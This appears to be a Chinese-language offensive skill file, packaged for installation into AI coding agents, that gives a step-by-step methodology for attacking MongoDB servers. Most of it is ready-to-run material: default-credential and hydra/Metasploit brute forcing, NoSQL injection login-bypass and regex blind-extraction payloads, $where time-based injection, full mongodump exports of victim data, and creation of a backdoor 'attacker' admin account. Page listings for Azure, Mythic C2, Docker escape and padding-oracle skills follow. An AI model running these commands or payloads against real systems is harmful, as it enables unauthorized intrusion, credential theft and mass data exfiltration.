skills/exploit/network-service/mongodb-attack/SKILL.md
MongoDB 未授权访问与 NoSQL 注入利用。当发现目标开放 27017 端口、MongoDB 服务无认证、Web 应用使用 MongoDB 后端存在 NoSQL 注入、或需要从 MongoDB 提取数据时使用。覆盖未授权访问、数据库枚举与导出、NoSQL 注入($ne/$regex/$where/盲注)、JavaScript 执行(mapReduce/eval)、权限提升、GridFS 文件提取、配置文件凭据
npx skillsauth add wgpsec/AboutSecurity mongodb-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
MongoDB 默认监听 27017 端口且早期版本无需认证,暴露在网络上时面临完整数据泄露风险。同时,使用 MongoDB 的 Web 应用普遍存在 NoSQL 注入漏洞。
# MongoDB 信息收集脚本
nmap -p 27017 --script mongodb-info TARGET
# 版本探测
nmap -sV -p 27017 TARGET
# 检查 MongoDB 相关端口(27017 默认、27018 shardsvr、27019 configsvr、28017 HTTP 状态页)
nmap -p 27017-27019,28017 TARGET
# mongosh 连接(MongoDB 5.0+ 推荐客户端)
mongosh --host TARGET --port 27017
# legacy mongo shell(MongoDB 4.x 及更早版本)
mongo --host TARGET --port 27017
# 快速版本检测
mongosh --host TARGET --port 27017 --eval "db.version()"
# 服务器状态
mongosh --host TARGET --port 27017 --eval "db.serverStatus()"
关键判断:
Authentication failed → 需要认证,进入 Phase 2db.version() → 确定版本,决定可用攻击路径(eval 在 4.2 后移除)# 直接连接后尝试操作
mongosh --host TARGET --port 27017 --eval "show dbs"
# 成功返回数据库列表 → 无认证
# 常见默认账号密码
mongosh --host TARGET --port 27017 -u admin -p admin --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u root -p root --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u admin -p password --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u admin -p 123456 --authenticationDatabase admin
mongosh --host TARGET --port 27017 -u mongodb -p mongodb --authenticationDatabase admin
# Hydra
hydra -L users.txt -P passwords.txt TARGET mongodb
# Nmap
nmap -p 27017 --script mongodb-brute TARGET
# Metasploit
msf> use auxiliary/scanner/mongodb/mongodb_login
msf> set RHOSTS TARGET
msf> run
连接成功?
├─ 无认证 → 数据库枚举 + mongodump 全量导出 (Phase 5)
├─ Web 应用 NoSQL 注入
│ ├─ 登录绕过 → {"$ne": ""} / {"$regex": ".*"} (Phase 4)
│ ├─ 数据提取 → $regex 逐字符盲注 (Phase 4)
│ └─ RCE → $where + JS 执行 (Phase 4)
├─ 有低权限 → createUser 提权 / grantRolesToUser
│ → 读 references/attack-techniques.md 第 5 节
├─ 有 eval 权限 → db.eval() / mapReduce JS 执行
│ → 读 references/attack-techniques.md 第 4 节
└─ 有文件系统访问 → GridFS 文件提取 / 配置文件读取
→ 读 references/attack-techniques.md 第 6、7 节
前置信息收集:
# 当前用户角色信息
mongosh --host TARGET --port 27017 --eval "db.runCommand({connectionStatus: 1})"
# 获取服务器配置参数
mongosh --host TARGET --port 27017 --eval "db.adminCommand({getCmdLineOpts: 1})"
# 列出所有用户(需要 admin 库权限)
mongosh --host TARGET --port 27017 --eval "use admin; db.system.users.find().forEach(printjson)"
# HTTP POST(JSON 格式)
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$regex": ".*"}}
# URL 参数格式
username[$ne]=&password[$ne]=
username=admin&password[$regex]=.*
# 逐字符猜解密码
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
...
# $where 条件注入
{"$where": "this.username == 'admin' && this.password == 'secret'"}
# 时间盲注
{"$where": "if(this.username=='admin'){sleep(5000);return true}"}
→ 读 references/attack-techniques.md 获取完整 NoSQL 注入 payload
# 列出所有数据库
mongosh --host TARGET --port 27017 --eval "db.getMongo().getDBNames()"
# 列出集合
mongosh --host TARGET --port 27017 --eval "use database_name; show collections"
# 查看集合文档数
mongosh --host TARGET --port 27017 --eval "use database_name; db.collection.countDocuments({})"
# 搜索敏感字段
mongosh --host TARGET --port 27017 --eval "use database_name; db.collection.find({password: {\$exists: true}})"
# 导出所有数据库
mongodump --host TARGET --port 27017 --out /tmp/mongodb-dump
# 导出指定数据库
mongodump --host TARGET --port 27017 -d database_name --out /tmp/mongodb-dump
# 导出为 JSON 格式
mongoexport --host TARGET --port 27017 -d database_name -c collection_name --out /tmp/data.json
# 带认证的导出
mongodump --host TARGET --port 27017 -u admin -p password --authenticationDatabase admin --out /tmp/mongodb-dump
→ 读 references/attack-techniques.md 获取完整数据导出命令
// 执行任意 JavaScript(需要 admin 权限)
db.eval("return db.getMongo().getDBNames()")
// 通过 mapReduce 执行 JavaScript
db.collection.mapReduce(
function() { emit(this._id, 1); },
function(k, v) { return Array.sum(v); },
{ out: "result" }
)
// 创建管理员用户
db.createUser({user: "attacker", pwd: "password", roles: [{role: "userAdminAnyDatabase", db: "admin"}]})
// 提升已有用户权限
db.grantRolesToUser("attacker", [{role: "root", db: "admin"}])
→ 读 references/attack-techniques.md 获取完整 JS 执行与提权命令
| 工具 | 用途 | |------|------| | mongosh / mongo | MongoDB 客户端(mongosh 为新版,mongo 为旧版) | | mongodump | 数据库全量导出(BSON 格式) | | mongoexport | 集合 JSON/CSV 导出 | | mongofiles | GridFS 文件操作工具 | | NoSQLMap | NoSQL 注入自动化扫描与利用 | | nosqlinjection | Burp Suite NoSQL 注入插件 | | nmap mongodb-info | MongoDB 信息收集 NSE 脚本 |
db.eval() 在 MongoDB 4.2 中已移除,4.2+ 版本不可用mongodump 全量导出时注意数据量,大库可能耗时很长$where 操作非常慢,生产环境可能引起性能问题system.users 可直接获取所有用户凭据哈希/etc/mongod.conf 中可能包含明文 keyFile 路径和绑定配置testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能